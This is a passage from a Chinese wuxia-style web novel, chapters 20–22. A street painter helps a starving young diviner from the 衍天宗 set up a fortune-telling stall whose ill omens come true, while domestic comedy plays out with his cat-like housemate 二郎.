“停停停!”三拾张开臂横在两人之间,推了一把叶遥看,“你,闭嘴,回家。”再回身作出邀请的手势,“女侠,菜叔家往这边走,请。”
两人对瞪一眼,双双冷哼扭头。
你俩是小孩子吗?三拾无语。
天色渐沉,三拾终于站在了自家门前。今日漫长得像度了半个月,三拾身心疲惫,无视了站在院子里的二郎,直躺躺倒在床上。
“你吃了吗?”二郎站在床边探头问。三拾闭着眼,沉重点头。锦菱使用了平平无奇的武力手段,逼着他吃了一顿全是糊味的饭,那股糊味现在都还萦绕在他的鼻腔,三拾感到胃部一阵抽抽。
二郎把饭菜端上桌,自己开动了。他吃饭无声,三拾只能听到筷子磕碰叮叮当当,像清脆的驼铃,像安眠的低语。
三拾走到院子外,看到锦菱在厨房里忙活着,他警惕地问锦菱在煮什么。锦菱似乎没听到他的问话,继续忙着往锅里扔东西,三拾只好自己走向前去查看。锅中模模糊糊有一堆不能言状的异物,正咕噜咕噜冒着泡,沸腾的水呈深绿色,隐隐传来一阵糊味。三拾皱着眉,凑近细看那锅东西。一个绿到发黑的泡泡冒起,逐渐涨开,眨眼间,那泡泡竟涨得要冒出锅口。三拾大惊,掉头就跑,跑到门口回头一看,那泡泡居然涨得比厨房还要大!深绿色的波纹在泡泡的表面一圈一圈漾开,泡泡马上就要炸了!
三拾猛得睁开眼,新鲜的空气钻进肺部。他捂住嘴快速起身冲到院子,扶在墙边疯狂呕吐。二郎被他起身这一猛子惊到,一脸疑惑跟着跑出来,这会正皱着眉轻轻抚着那薄弱的背。
吐到胃酸都反出来了,三拾掏出手帕擦嘴,心里直感叹:真牛啊锦菱,杀人于无形之间。
他抬手示意二郎不用再抚,撑着墙慢慢调整呼吸。回头对上二郎关切的目光,狼狈至此,三拾莫名想笑。他扯了扯嘴角:“吃了不干净的东西。”
二郎小心翼翼虚扶着人回屋,坐下后马上倒了水递过去。三拾接过水,边喝边看桌上的饭菜。二郎瞅着人没什么事了,接着吃他的饭。淡淡的饭菜香在屋子里飘荡,三拾突然想起以前常喝的玉露酒,他咂咂嘴:“你喝过玉露酒吗?”二郎鼓囊着腮帮子,摇头。
“不同于别的酒醇厚辛辣,玉露酒清凉爽口,味甜。”三拾托着腮,双眼涣焦,思绪不知飘向了哪里。
“……里……到?”
三拾回过神:“你说什么?”二郎重复:“我问哪里可以买到?”“酒肆都能买到。”“那你为何这副遗憾的模样?”二郎还端着碗拿着筷子,表情正儿八经注视着三拾。三拾下意识摸了摸自己的脸,自己的心绪表露如此明显吗?
他收敛表情:“正宗的玉露酒,要用到长歌门的泉水来酿。只是现在的酒商们图方便,都用的井水或溪水。不是那种味道。”他若有似无地叹了口气。
二郎点头,转移了话题:“你要吃点吗?刚吐完都饿了吧?”三拾垂下眼,神情疲惫:“不了。”胃还难受着。“我休息了。”他起身去清洗了一番,捂着胃躺下,没有一丝多余的力气能做别的事。被子盖起,两个呼吸后,三拾沉入梦乡。
只是那梦中始终无法安生,三拾蹙着眉,手脚冰凉,呼吸又沉又急。直到一团火球出现,他下意识地去贴住那股温暖。火球融进了他的肚子,轻柔地驱散了胃部的不适,暖意如同春日的河水,从胃部往四肢流去,融化了冰,带走了寒冷,留下涓涓细流的温暖。
窗外飞过的雀儿留下几句密语,光线刺眼,三拾缓缓清醒。有微弱的呼吸扫在他的耳朵上。
三拾侧过脸,眉头微微皱起。
臭猫又爬上我的床。
但很快,他便发现臭猫的手搭在他的身上,手掌正捂着他的胃,手心的暖意还在持续不断传来。
算了,今天不骂他了。猫暖窝,猫好。
三拾轻轻移开那只宽厚的手掌,轻轻翻开被子,轻轻下地,轻轻穿衣。不经意间回头,二郎一双含笑的眼正看着他。三拾蹑起的手顿时用力一拍衣服的褶皱,不满道:“醒了早说啊。”
三拾手一动二郎就醒了,只是看他蹑手蹑脚的样子好玩,多看一会。
胃部空空一晚上,一碗热乎的粥水下肚,三拾原地复活,心满意足背起竹笈出门了。不知为何有种半个月没摆摊的错觉,三拾心中暗骂一句,懈怠了啊。
三拾想去看看刘婶,昨晚那顿饭刘婶也吃了的,不知道她怎么样了。但三拾又实在不想见到锦菱,他现在真是怕见锦菱跟怕见鬼似的,这几日只要靠近她总没好事。算了,反正林青荷就在隔壁,不会有什么问题,先让他缓一缓再说吧。
常言道,白天无谈人,昏夜无说鬼。三拾看着站在他摊边的锦菱,感叹:祖宗说得对。
姑奶奶你饶了我吧。
看锦菱这般神采奕奕,三拾疑惑:“你和刘嫂,昨夜有哪里不适吗?”锦菱大眼睛眨啊眨:“不适?没有啊。”“一点都没有?”“没有,我俩好好的,咋啦?”
懂了,你只克我。
三拾感觉自己有点死死的。
“来找我又是何事?”三拾长叹一声,有气无力问道,希望这姑娘能听得懂他的言外之意。姑娘没听懂,依旧是十分的开朗:“我想赚钱。”三拾挑眉。
“你忘了吗,我现在欠着那个叶掌柜一笔赎铜,我得赚钱还给他。”锦菱念到“叶掌柜”三个字时特意加重了语气,恨不得咬他一口的样子。三拾还真忘了,那毕竟不是他欠的,他没当回事。“刘婶让我来问你,说你人脉比较广,应该知道哪里招贤。”
他确实知道很多:“会缝纫吗?”锦菱乖巧摇头:“不会。”“会木工吗?梓匠。”“不会。”“打铁呢?铸造。”“不会。”“……制药?”“不会……”“烹……算了。调香呢?”“不会。”
三拾深吸一口气:“不对啊,你在刘婶那打下手不是干得挺好的?”锦菱心虚目移:“刘婶那就端个碗,收个碟,加个菜,没有任何技术含量。
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”三拾再深吸一口气:“那你会什么?”
“我会打架!”锦菱露出一个得意的笑容。
三拾太阳穴突突的,好想喊救命。但下一秒他灵光一闪:“做护卫可以吗?”锦菱点头似啄米:“可以可以可以。”
姑奶奶你不止克我,你还克叶遥看。
三拾为他的难兄难弟叶某感叹了一秒。
“什么意思?”正在店内清算账本的叶遥看,冷脸抬头。
“字面意思。”三拾摊都不摆了,带着人直冲香玉斋。“你护卫不是跑了吗,我给你引荐新护卫来了。”
“等等,你是说雇主是这家伙?我不干!”锦菱板脸抱臂。叶遥看难得与对方持相同观点,话都懒得说了,低头看账本。
受不了了,怎么还得我来两头劝说?我不是吃瓜群众吗?
三拾沉思片刻,双手一摊不干了:“我只能牵个线搭个桥,不愿意就各自的问题各自解决吧。”说罢毫不犹豫抬脚走人。
锦菱下意识伸手拦人,半路又收了回来。三拾已经帮她很多了,行走江湖,哪能一直依赖他人呢?锦菱握拳在胸,激励自己:“不能再耽误别人的时间,本姑娘聪明机灵,自己也可以的!”
叶遥看抬眼,看着那个粉色身影走到对面店铺。对面掌柜乐呵呵跟她说了几句,随后摇头。那身影肉眼可见的萎了,但很快又挺直腰杆,走往下一家店铺,像棵随风摇曳但顽强的小树。
香玉斋的仆人发现自家掌柜的目光一直停留在街上,不知道在看什么,笔尖的墨在账本上洇开了一圈。
午膳后,叶遥看没有像往常一样歇息片刻,吩咐仆人去厨房拿上一些干粮。仆人疑惑:“东家,可是没吃饱?”叶掌柜抿嘴:“随我去一趟书肆。”纸墨笔又没用完,去书肆干嘛?仆人不解,默默干活。
叶遥看不紧不慢走在街上,漫不经心随处看。视线中出现一抹粉,他减缓了脚步。
锦菱捧着个烧饼坐在三拾摊位旁边啃,蔫了吧唧的:“我也不知道为什么啊,我学着牛师傅那样做的,怎么就弄断了呢?”锦菱不解,锦菱叹气:“我太失败了,除了打架什么都不会。”
三拾嘴上在啃饼,手上在作画,脸上在憋笑,好忙。
“人有所长,会打架那就做打架的事好了。你要不还是考虑一下给叶遥看当护卫?”三拾咬了一口饼,“虽说他说话难听,但昨日你被抓走后,他就意识到自己的错。帮你交赎铜是他自愿的,这何尝不是一种赔罪?他可没说过要你还钱的话。再说,你想赚钱本来就是为了还钱给他,不想欠他人情,直接给他干活,不也是一种还人情的方式?”锦菱干巴巴咽着饼,若有所思。
沉默片刻后,她囔囔道:“可是叶掌柜也不待见我啊。”三拾挑眉:“哦他啊,他的意愿不重要。你只要搬出刘婶,他不乐意也得乐意。”锦菱疑惑:“为何?”
“哈,刘婶是他干娘。”
“?!”锦菱震惊,一口饼差点卡住喉咙。
20.游年1
三拾疑惑回头。身后一臂长外的地上,直挺挺趴着一位身穿紫白服饰的少年,背后背着一柄形状怪异的……灯?
这是摔跤了?看了好一会,四周渐渐围起了人,那少年都没有要站起来的意思。不会是死了吧?
三拾不爱管闲事,但这人万一真死在他摊前,那可晦气了。
他默默起身凑近,手上还拿着画笔和饼,用笔戳了戳少年稚嫩的脸:“这位……少年?你还活着吗?”
少年嘴里嘀咕了什么,看来还活着。三拾没听清,只好把耳朵伸过去:“你说什么?”少年还是嘀咕那几个字,但声音太小了,气若游丝。
三拾不得不再贴得更近去听。刚凑过去,就看那少年鼻翼抽动,猛得睁开眼,一双乌黑的瞳孔直盯着三拾。三拾吓一跳,身子下意识往后仰,却见那少年一双眼睛直直盯着的不是他,是他手上的——饼。
你不会是饿晕的吧……
三拾嘴角抽抽,为了验证自己的想法,他默默把自己吃了一半的饼递给了少年。少年双眼一亮,一把接过三拾的饼,就那么趴在地上开始狼吞虎咽啃饼。
“……起来吃吧,地上灰尘多。”三拾无语,坐回自己的位置上。周围人群看着没什么乐子就散了。
那半块饼几口就吃完了,吃了东西仿佛立马就有了力气,少年缓慢地爬起来,拍拍身上的灰尘,一脸感激对三拾弯腰作揖:“先生大义!此饼之恩,定当涌泉相报!”
看他面黄肌瘦的模样,三拾又掏出了一块馍递给他。少年简直要哭出来了,握住三拾的手一顿摇晃,嘴里念叨着“好人啊,人好啊,啊好人”。三拾指了指锦菱刚坐的位置,示意游年坐下来吃。
细看游年的服饰,尤其是背后那柄……灯。灯把很长,几乎与少年同高,形状怪异但雕刻精致。这服饰明紫正金,不是普通百姓能穿的样式,应是出自非富即贵的人家或是某名门正派。但偏偏饿晕在街上,连馍都吃不起?
游年很上道,看出来三拾对他很感兴趣,立马自报家门:“我叫游年,是衍天宗弟子,这是我们的门派武器——魂灯。”
“衍天宗?没听说过。”
“简单来说我就是个算卦的。我们宗门避世于大漠,没有多少人知道。”
“啊,你们宗门秘辛就这么告诉我,我不会因为知道得太多要死吧?”
“不会!你给我馍吃,一看就是好人,告诉你也无妨。”
诶不是,你区分好人坏人就看馍吗?
“既然宗门避世,你为何在这?”
“我师父给我算了一卦,说我适宜入世,把我带出来一丢,自己跑了。徒门不幸啊,一个铜都不给我,不然我何至于饿到晕倒!”游年哭丧着脸。
“你这么多天一直没吃饭?”
“也不是。”游年腮帮子鼓鼓:“我给人算卦营生。”
“没有生意吗?”
游年沉默了。因为价钱实在便宜,一开始还是每天都有生意的,很多人愿意花半块饼的钱来求个心安。但渐渐的大家发现,这个算命的只能算出凶卦厉卦,心不但不能安,忐忑多日却发现卦象应在了一些鸡毛蒜皮的小事上。算卦生意也就越来越淡了。
游年本来是在隔壁街摆摊的,前几日他给一名男子算出了妻子偷人,男子气冲冲回家找妻子算账,妻子反咬一口污蔑,哭着喊着要撞头自证清白。男子一看,怕不是那算命的装神弄鬼,要害他妻离子散?夫妻俩去游年摊上闹,男子把他摊都砸了。还好有看不下去的仗义人作了证,说看到了那妻子与他人行苟且之事,时间地点人物说得清清楚楚,这才给游年正了名。
结果那男子与妻子撕破脸皮后,不但不感激游年为他拔开云雾,反责怪游年害得他在大庭广众之下丢脸,大骂游年扫把星。街坊们联想到他从来没算出过好卦,议论纷纷,说着说着就没有人再记得事情的起因了。游年初入世,哪懂得要反击,就这么硬背了一口大锅,扫把星这个名号也就冠在游年头上了,再也没有人去找游年算卦。
游年几日不开锅,还要每日面对路人的指指点点,实在熬不住了才想着要转移阵地。今日刚到梅花街,结果就饿晕在地上了。
三拾听得直皱眉。勇敢三拾,今日就要尝个咸淡:“看在吃了我一个半饼的份上,给我也算一卦?”
游年连连点头,三两口把剩下的馍塞嘴里,含糊应答:“应该的应该的。”
只见他一抹嘴站起身,神色敛起,紧盯着三拾的脸。几个呼吸后,游年闭上眼,左手摆动魂灯,右手捏诀行势,有淡淡的光从他魂灯中亮起,顺着灯柄逐渐包围了他的身体。光在白日里并不明显,但三拾对光线色彩敏锐,游年整个人呈现出一股不容冒犯的神圣感,甚至有种他缓缓浮上了空中的错觉。
三拾有一些莫名的激动:这姿势,这神态,气势庄严,神秘莫测,与那些装神弄鬼掐个指尖就侃侃而谈的半仙完全不同。想来这未曾听过的衍天宗,相当了得。
稍后片刻,游年嘴里开始念叨:“天水讼,天地否,山雷颐。”睁开眼后,告诉三拾:“志向相违,争端起;阴阳不交,万物滞;山下有雷,养待时。”
三拾一听,眉头皱起,正经危坐:“说点听得懂的。”
“意思是你可能要失业了。”
恐怖如斯!三拾抿了抿嘴:“有解决的办法吗?”
“休养生息,自有出路与转机。”
“可靠吗?”
“绝对可靠!我的算卦能力与其他衍天宗弟子不太一样,只能算出凶卦厉卦。若人近期顺风顺水身心安然,那卦象对应的事件就会是很小的事情,比如吃饭时菜掉下地也会呈现为‘山泽损’这种象征失去的卦象。”
啊?怎么有种切菜用牛刀的感觉?不是都说“天机不可泄露”吗,你天机算出来结果是个菜掉地上?
但“失业”这个词,再怎么
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小事不都对应了没钱进袋这事儿吗!三拾心梗痛,早知道不好奇了,知道得太多果然会不快乐。
“这就是师父说我适宜入世的原因。我命格特殊,师父命我不得算天下大事,不得算重要官吏,替平民百姓起居生活算卦正合适。”游年饶了绕头,颇为不好意思。
看着游年那虔诚的模样,与对自家门派技学的自信,三拾内心是信服的。警示普通百姓的生活起居,怎么就不是为民所为呢?
而他刚才起卦的模样,也给了三拾一些灵感:“我有一个可以解决你饿肚子的法子。”
不多时,游年便在三拾旁边支起了摊子。三拾不知道从哪里掏出块灰旧的布递给他,游年问何意味?
三拾说:“你还小,脸也长得嫩,实在很没有说服力,带上这个增加点神秘感。”“可是这周围的人不都见过我了吗?还是扑倒在地的糗样……”“你别管,听我的。”
“遮掩脸的话,我有这个,应该更合适。”游年从兜里掏出半边形状特殊的面具戴上,面具上用与他服饰相同的紫白油墨描绘出了狐狸的脸廓,再以黑金色点缀。戴上这面具,游年稚嫩的脸被遮掩大半,不去看身形的话确实无法辨别年龄。
三拾眼前一亮,忍不住竖起了大拇指:“有内味了。方才与你说的你都记住了吧?”
游年点头:“记住了!放心吧!”
于是,周围的人看着那个刚刚突然趴地上的少年神秘兮兮地支起一块布,上写——预知危难。
三拾往游年对面一坐,提高了声音:“少年,看你年纪轻轻,招牌写得这么大,怕不是虚张声势,装神弄鬼的吧?”
游年清了清嗓子,压低声线,让声音显得稍浑厚些:“这位客人,不信大可一试。”
三拾故作刁难:“谁知道你是不是骗我钱的?你乱说一通就跑,我报官都来不及抓你。”
“客人放心,不准不收钱。”游年顿了顿:“但如果我算得准了,客人可愿付双份钱?”
“呵,如果你算得准,能让我提前规避了危难,我愿付十倍!”三拾扮富豪扮得很过瘾。
两人一来一回,逐渐就吸引了周围以及路过的人。其实周围的人都知道三拾平日不会这么说话,何况这两人刚还在一起吃饼呢。但就是忍不住好奇,都怀了“看看怎么个事”的心态凑近看。
“好,那各位街坊就替我做个见证,看看我算得是否准确。”
游年再次给三拾起了个卦,和三拾把方才已经说过的对话稍作删减,重新说了一遍。
三拾道:“行,那我就放长双眼候着了。”随后转头向周围的人嚷嚷:“反正这会没发生就是免费,发生了也就两个饼的钱,不亏,大伙都来玩玩。”
方才游年起卦有模有样,解卦也有板有眼,此话一出,周围人都觉有理,人群涌动起来,跃跃欲试。三拾把位置让出来,走回到自己摊位去,马上就有下一个人站出来。
21.游年2
来人三拾认识,是打铁铺的老罗。
“算命的小子,来,你给我算算。”
老罗腿一迈就坐下,身后看客的视线被老罗魁梧的身形挡得严严实实,嘴里啧啧着往边上移。老罗平日里敲铁锻器,一身紧实的肌肉颇有压迫感,他双手往膝盖一放,手臂看着比游年的脖子都粗。
游年仰头看向占满他整个视线的客人,咽了咽口水,深呼吸数下平缓心情,抬手起卦。
“泽雷随,坎为水,雷水解。”游年把魂灯收回身后,“最近可能会突生意外,身体有损,还请多加留意。”
老罗一拍大腿,豪迈大笑:“咱是打铁的,日日与那烈火利器打交道,受伤那跟吃饭一样平常,小子你这算了个白,不作数,再来!”
游年嘴巴张了张,想要解释。他重新算也是一样的结果,而他无法证明卦象对应的是大事还是小事。
耳边传来一声咳嗽,游年顺着声音看去,三拾不着痕迹地摇了摇头。游年微楞,随即改口:“天机不可道白。”
“嘶诶,小子你这就不对了……”老罗不满意那神秘兮兮的语气,要讨个明白话。
旁边冒出另一人,拍着老罗的肩膀把人往外推:“可以了老罗,差不多得了,哪有一直占着坑的道理,起来起来,轮到别人玩玩了。”
老罗于是收回了嘴边的话,老实巴巴让开了。反正不要钱,没有损失,权当看个热闹。
新坐下的这位是街上卖菜的菜叔,给客人送货路过,正好凑个热闹。游年严肃说道:“算卦不是玩玩的事物。”
菜叔举手以示歉意,依旧笑嘻嘻的:“是是,我说错话了,天机哪是能随意戏玩的呢。孩子你这面具,这架势,哎呦,一看就是有真材实料的。”
游年有点不满,那说话语气还是把算卦当成玩乐。想来免费获得的东西,谁都不会重视,收费方式还是得再想想。
“火泽睽,巽为风,火雷噬嗑。最近可能会被盗取财物,需注意财物丢失。”
菜叔双手一摊:“不是吧孩子,我一个种菜的,家徒四壁,贼人能偷我啥,偷菜吗?”此话一出,周遭围观的都大笑出声。
游年默了表情,依旧神秘兮兮:“天机不会道白。”
菜叔站起身向四周一摆手,笑呵呵道:“我菜佬别的不多,菜叶子还是有几根的,想吃的人大可跟我说,不需要偷嗷。”周围人笑嚷了几句,马上有新的人挤上去坐下。
游年一连给数人算了卦,神情逐渐疲惫。忽而眼前一暗,他连忙收回魂灯坐下。缓过几个呼吸,他把“预知危难”的布架一扯,“今日到此结束,客人明日再来罢。”
“诶,我这卦都没算明白呢,你这算怎么回事?”
游年没有搭理,维持着坐下的姿势,双眼紧闭脸色煞白。对面人骂咧一句起身走开,周围人一看没得玩了,纷纷倒喝几声便散去。
身体不受控制往后倒,游年有一瞬的意识涣散。感到有一双手托住了自己的背往前推,让自己能趴在桌上。游年眼角瞥到是三拾,嘴角扯出一丝无力的笑以示无妨:“还没试过一下子连算这么多次卦,有点头晕眼花。”
三拾抿了抿嘴角,这孩子是内力耗尽还是饿的?
扶着人坐到地上,游年立马开始打坐。三拾趁着这会,去就近的吃食摊买了个肉夹馍回来。游年鼻翼抽动,双眼猛得睁开,紧盯着香味的来源。三拾这次没有被吓到:“借给你的,要还。”
游年感激流涕,握住三拾的手一顿摇晃,肉夹馍被捧在两人之间一上一下:“哥!三拾哥!你就是我大哥!你真好!没有你我可怎么办啊——”
这不是挺有精神的。三拾嘴角抽抽。
一直到傍晚收摊,三拾才想起一个问题,他转头问一直坐在旁边打坐的游年:“你住哪?”
游年仰头想了想,开始掰手指:“树下,桥底,屋后,街边,哪里没人赶就住哪。”
这么没有良心的师父,世上居然不止一个。三拾不由感叹。
二郎刚把煮好的饭菜端上桌,就听闻院里传来推门声,满心欢喜去迎接,一见走进来的是两个人,立马哈气:“你怎么又往家里带人!”
三拾疑惑:“我带人回我家,有何问题?”臭猫你还真把这当自己家了啊?都管起屋主的事了。
二郎一口气堵着,一双金色的瞳孔瞪着那个滋儿哇叫的外来者。
游年没察觉到那凌厉的目光,看看这摸摸那:“哇你这院子真宽敞!”“哇你这屋子真好啊!”“你好,我叫游年。”“哇好香!”“哇!哇!”
好吵。三拾有点后悔把人捡回来了。
二郎本来还赌气故意不搭理人家,这会突然冲进屋里,一把抓住游年伸出的爪子。游年惊恐回头,嘴巴却在快速嚼动。
“你……”这臭小子突然出现就算了,还偷吃他辛苦做好的饭菜。二郎微眯起眼,眸中溢出一丝危险气息。
而对方张着大大的眼睛看着他:“我就吃一点!一点点!”
正逢三拾迈腿进屋,二郎立马眨巴着眼,委屈巴巴:“三拾你看他……”
三拾轻咳一声:“孩子正是长身体的年纪,爱吃。”
二郎嘴更瘪了:“可这是我做的。”
三拾顿了顿:“确实不合适,游年我们出去吃。”
“我不是这个意思!”二郎气急,一把松开游年的爪子,走到三拾跟前。对上三拾那双平静的眼,到嘴边的话咽了回去,不满囔囔:“吃就吃吧,你也一起吃。”
二郎坐下,还没夹两筷子菜,又哈气了:“你吃那么快干什么!”
游年筷子上夹着肉,手里一个大馒头已经啃得差不多,腮帮子鼓得满当当。被二郎这么一吼,他才意识到菜都被他夹空大半了,为了方便夹菜而站起的身子,缓慢挪回到椅子上,尴尬地咀嚼着:“窝踏呃惹。”
三拾拿起筷子还没动手,就见游年风来如山般扫荡了一桌菜,给他整不会了。还好没出去吃,不然得吃多少钱啊……不行,得把账给他记上,以后要还。
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游年快速把东西咽个干净:“我我我不白吃!你可以唤我做任何事!只要我能做到!等会我来洗碗!我还能给你们打扫屋子!或者……我给你算算卦?”
受不了,这就是年轻人吗,怎么每句话都那么吵。三拾无语夹菜,有点怀念那个在街上戴着面具的神秘衍天宗弟子。
“你会算卦?”孩子态度挺好,二郎的火没地方发,默默掐灭,“那你给我算算姻缘。”瞥了一眼三拾,三拾在认真吃菜。
“呃……要不算点别的吧?”游年尴尬挠脸,“我只能算到厉卦凶卦。”
“哦?”二郎挑眉,“就算姻缘,我倒要看看我的姻缘有什么凶厉。”
游年只好点头,伸手一擦嘴,往后一站开始起卦。下午打坐了许久,内力早就恢复得差不多,又吃了东西,游年这会干劲十足,认真算好这一卦。
“天火同人,火泽睽,雷水解。意思是,最近会产生误解,要好好地解释清楚。”
二郎勾唇,夹了一筷子菜给游年:“好,我会注意的。吃饭吧,不够我再去煮。”区区小误解,只要不是什么生离死别啊,永不得见啊,不是良人啊之类的,好说,好说。
游年入世后算了那么多厉卦凶卦,那些人要不不信,要不恐慌,这人怎么反而挺高兴的?估摸着也是不信吧。游年不在意,他只想吃饭。
饭后洗漱一番,就到了入寝时间。三拾上下打量一番洗碗回来的游年,一指躺椅:“你脏,你睡那。”待他坐到床上,回头便正对二郎亮晶晶的双眼。“那我呢?”
“你趴桌子上将就一晚吧。”
意料之内。二郎点头,听话坐到椅子上。
早上,三拾看到床上那只突兀的佩囊。意料之内。
他拎起佩囊下床,递到在喝水的二郎面前,用眼神询问。二郎暗骂一声糟糕。他其实刚醒没多久,趁着三拾还没醒匆忙起身,没发现佩囊掉床上了。
“啊哈哈原来在你这,我说它去哪了,昨天就丢了啊哈哈……”
“你要不解释一下它为什么好巧不巧的,就突然出现在了我的床上?”
“额……可能是被小野猫叼上去的哈哈,哈哈,晚上光线昏暗你没发现吧,对,肯定是你昨晚没看清。小野猫真调皮哈哈,哈哈……”二郎目移,看看墙,看看地,看看窗外小蝴蝶。
二郎心虚的笑声把游年吵醒,游年迷迷糊糊的看着屋内两人,气氛很温馨的样子。
三拾催促着出门的时候,游年连忙塞两个馒头进口袋,再双手各拿一个,嘴里再咬一个。二郎欢欢喜喜地把两人送出门,挥手告别。三拾莫名觉得这画面眼熟,走了一会才想起来见过那一家三口,也是这般妻子送别丈夫孩子出门。
两人支起摊不多时,一位妇人匆匆赶来,往游年面前一站就要跪,吓得游年赶紧去扶。三拾抬头一看,游年戴着诡异的狐狸面具,嘴里叼着半个大白馒头,双手扶着跪拜的妇人,画面一度怪异又好笑。周围人一瞥这边有热闹看,逐渐又围了起来。
22.游年3
“感谢大师救老罗一命。”妇人语气激动,叨叨嗦嗦地把事讲完。
昨天老罗回到家就把算卦的事当成笑话讲予妻子听,讲完就抛之脑后了,但妻子留了个心眼。夜里老罗起身上茅房,久久未归,妻子心里不安便起身查看,出门就见他倒在地上,流了一地的血。妻子紧忙喊醒儿子去请大夫。老罗今早便醒了,说是夜里没点油灯,绊到了路过的野猫,摔倒磕破了脑袋。
“要不是得大师提醒,我夜里睡迷糊去,老罗就神仙难救了。大师神通广大,感恩之情无以言表,这是小小心意。”说罢妇人便递出一片金叶子。
“不用这么多的。”游年语气推搡,手已经伸出去了。
妇人说:“不多不多,您救了老罗的命,就是救了我们一家,这是该给的。老罗还在家里候着,我先回去照看了,大师告辞。”
游年正想咧嘴欢送,想起自己要维持神秘感,只好淡淡点头。
周围人早已开始讨论,很快,这事便在街上传开了,大伙都说,这算命的小子许是有点能力的。
煞时,要算卦的人已经排起了一条小队,大伙都跃跃欲试。
游年看着人群,缓声道:“昨日新开摊,给街坊们行了个折扣,先算后收钱。今日开始,收钱再算。”果不其然,好几位想着蹭免费鸡蛋的骂咧着走出队伍了。“仅限前五位客人是原价,后面的客人需付双倍钱,且需等我调息恢复内力后才可算。”
队伍人群直接一哄而散,仅剩三人。
游年也不恼,按三拾的话来说,这叫找准自己的靶心客人,在有饭吃的情况下,宁缺毋滥。算卦这种事对某些百姓来说就是玄乎的,不值得花钱。那样即使算准了,他们也会觉得是巧合,不愿意给那份钱。把有限的内力花在会给回报的客人身上,只要把名声打起来,就不怕没有生意。
游年渐入佳境,三拾欣慰。早点赚钱,就可以早点还钱给他。
三拾的笔墨刚点落纸上,旁边有人大喊了一句什么,身后密集的脚步声响起,齐刷刷往另一头移去。
又发生什么乐子了?三拾微微一伸颈,从人群缝隙中看到一个奇特的盒子。
三拾不爱管闲事,开始画画。只是手中的画笔悬在空中好一会,都没落下。
有一位带着吐蕃口音的人在说话:“父老乡亲们,此机甲乃我的得意之作,名为爱画匠。我只需设置好机关,这机甲便能根据顾客的需求自行绘画,所产之画能媲美画师们的手作画。诶这位大哥别急,不信那你便瞧仔细了。”
只见吐蕃人用黑布把爱画匠蒙起,半边身子钻进黑布内一整捣鼓。随后吐蕃人把一支沾满墨的画笔别在爱画匠身侧的铁臂上,再放置了一张白纸在爱画匠跟前,按下某个机关。爱画匠的方盒身子突然一抖动,传来一阵咔咔的机动声,铁手臂伸张出来,稳稳地停在在白纸上方。
在众目睽睽下,铁手臂夹着画笔在纸上游走。不多时,一位苗条的女子便被勾勒出来。女子低眉垂眼,手执小扇扑蝶,神情自然,婀娜多姿。
众人都瞪大着眼,惊呼起来。
站在围观外圈的三拾默默转身,走回自己的摊位,看向在认真起卦的游年,心情略微复杂。
你们衍天宗弟子有点东西的。
这一天,从上午一直到黄昏,新来的吐蕃人都被围在重重人群中。群众时不时爆发欢呼和惊叹,热闹非凡。相比之下,三拾的摊位冷清得连苍蝇都没来。
虽说平时也不是天天都会有生意,但没有对比就没有伤害啊喂!
收摊回家,游年期期艾艾地安慰着三拾。他下午也没有生意,好奇去围观了一会爱画匠,便知道三拾的卦应验了,一时不知该如何面对三拾。
吃饭时的气氛压抑得游年都不敢夹菜,默默干嚼了三个馕。三拾心情不好他知道,但二郎怎么也阴沉着脸?游年硬着头皮吃完一顿饭,没吃饱,打着洗碗的旗号躲在厨房吃剩饭剩菜。
直到躺下,三拾的心情都没恢复,因为二郎今晚静悄悄的,他没找到机会发泄。于是三拾决定,装睡抓一波二郎爬床。
装睡不了一点,三拾躺下没几分钟就真睡沉了。
半夜时分,滚烫的呼吸扫在脸上,像被猫尾巴一下一下抚脸,三拾惊醒。引入眼帘一张放大的脸,棱角分明,鼻梁高挺,睫毛卷起。
好啊,这可算抓了个正着。
靠得太近了臭猫。三拾抬手把枕边人的脸往外推,手掌却摸到一阵滚烫。
三拾微愣,下意识去摸对方的额头,也是滚烫。
三拾沉默,推了几下对方肩膀,没有反应。
三拾叹气,起身点亮烛火。
烛火照亮了二郎苍白的脸。三拾这才发现他腹部的伤口居然在渗血。距离这人差点死在自家门口都过去几日了,按理来说伤口早该结痂,为什么又裂开渗血了?
三拾不想知道,但他得给他处理。伤口感染发烧会死,死在他床上可比死在家门口晦气得多,三拾还不想换新床新被。
就着昏暗的灯光重新给二郎上药包扎,喂了水,搭了湿毛巾降温。二郎昏睡中不舒服,哼唧几声,出了一身汗。三拾想了想,给猫擦身比洗被子方便,于是又用干毛巾给二郎擦了一遍身子。呃……穿着裤子汗不会沾到被子上,不用管。
处理完,二郎的热就开始退了,也终于睡平稳了。三拾已经困得魂飞魄散,随便收拾了一下,倒头就睡。
二郎迷迷糊糊睁眼,窗外刺眼的白光让他顿感不妙。他微微侧脸,看到三拾还闭着眼,内心松了口气。
二郎蹑手蹑脚地爬起来,避开被子鼓起的地方,小心翼翼探脚下床。
突然脚下一滑,他慌忙扶住旁边的椅子,却猛地连带上椅子往后摔。
“砰——”
被他滑出去的药瓶碰到墙角,一阵哐啷。
三拾睁开眼,转头看向四脚朝天躺在地上的那只猫。
二郎从他冷冽的眼神中感受到了杀气,连忙从佩囊中掏出一个金块:“冷静!我交钱!”
周身的冰冷气息忽地一散。二郎又松了口气。
游年揉着眼,迷迷瞪瞪看向床那边,那两人一大早劈里啪啦的,干嘛呢这是?
孩子正是长身体的年纪,爱睡。
早饭桌上,游年明显感觉到昨晚那压抑的氛围消失了。二郎的嘴角一直挂着,甚至主动给他包了两个馒头带路上吃。什么事情这么高兴?
照旧是二郎笑着把两人送出门。
两人远远便看到有人候在游年的摊位上,旁边还有一辆小板车。游年赶紧掏出面具戴上。
菜叔百般无聊地晃荡着,抬头与逐渐走近的两人对视上,那双小眼睛一亮,仿佛见到什么宝物。
“大师!大师你可来了!我等你很久了。”菜叔搓着手迎了上来,满脸笑意。
戴了面具的游年,气质马上变为神秘,简直像被面具上的狐仙附体般:“可是卦象应验了?”
菜叔点头如捣
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蒜。昨日听闻老罗的事后,菜叔重视起自己的卦象,对周身的事物都提起十二分的谨慎,果然让他发现了自家兄弟不对劲。
菜弟心不在焉,眼睛总不经意地瞟向某个地方,菜叔便假装要出去,让菜弟独留在家里。
兄长刚迈脚出门,菜弟就忍不住了,鬼鬼祟祟走进兄长的房里,在房内摸索一番,终于在床板底下发现一个盒子。那盒子卡了一个视角,紧贴在床板角上,不仔细去摸根本不会发现。菜弟欣喜若狂地把盒子掏出来,迎头吃上兄长的一记实巴掌。
